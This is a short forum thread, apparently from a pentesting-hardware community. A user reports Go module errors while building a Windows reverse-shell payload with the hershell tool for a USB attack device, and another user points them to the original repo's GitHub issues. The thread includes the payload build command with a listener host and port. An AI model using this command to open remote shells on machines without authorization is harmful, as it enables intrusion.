moelharrak Posted November 2, 2023 Share Posted November 2, 2023 Hi, I'm trying to generate payload using "hershell" 1. # make depends --> OK (SSL cert generated) 2. # make windows64 LHOST=192.168.30.48 LPORT=1234 --> NOK hershell.go:13:2: no required module provides package github.com/lesnuages/hershell/meterpreter: go.mod file not found in current directory or any parent directory; see 'go help modules' hershell.go:14:2: no required module provides package github.com/lesnuages/hershell/shell: go.mod file not found in current directory or any parent directory; see 'go help modules' make: *** [Makefile:29: windows64] Error 1 any idea what could be the issue? Thank you Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted November 2, 2023 Share Posted November 2, 2023 You need to provide more details in order to troubleshoot it all. In what way is this related to the Bunny? Where (on what device) are you trying to run these commands? In what way did you prepare the Go environment? etc etc Quote Link to comment Share on other sites More sharing options...
moelharrak Posted November 2, 2023 Author Share Posted November 2, 2023 it's not related to bunny , right now I'm just trying to generate payload to copy in bunny for a reverseshell. 1- I did install Golang and setup the ENV in Kali 2- I did clone the repo https://github.com/sysdream/hershell.git 3- I did generate ssl using the command (# make depends ) as mentioned in the github. 4-But when I try to generate the payload using the command (# make windows64 LHOST=192.168.30.48 LPORT=1234) it display the error that I mentioned in my first post. Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted November 2, 2023 Share Posted November 2, 2023 Since it's not Bunny related, seek help on GitHub. Preferably also not using a forked repo if there is no relevant reason to do so. If you read the issues in the "original" GitHub repo for hershell, you'll find one that is corresponding pretty well with your scenario, and has a suggestion on how to solve it. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.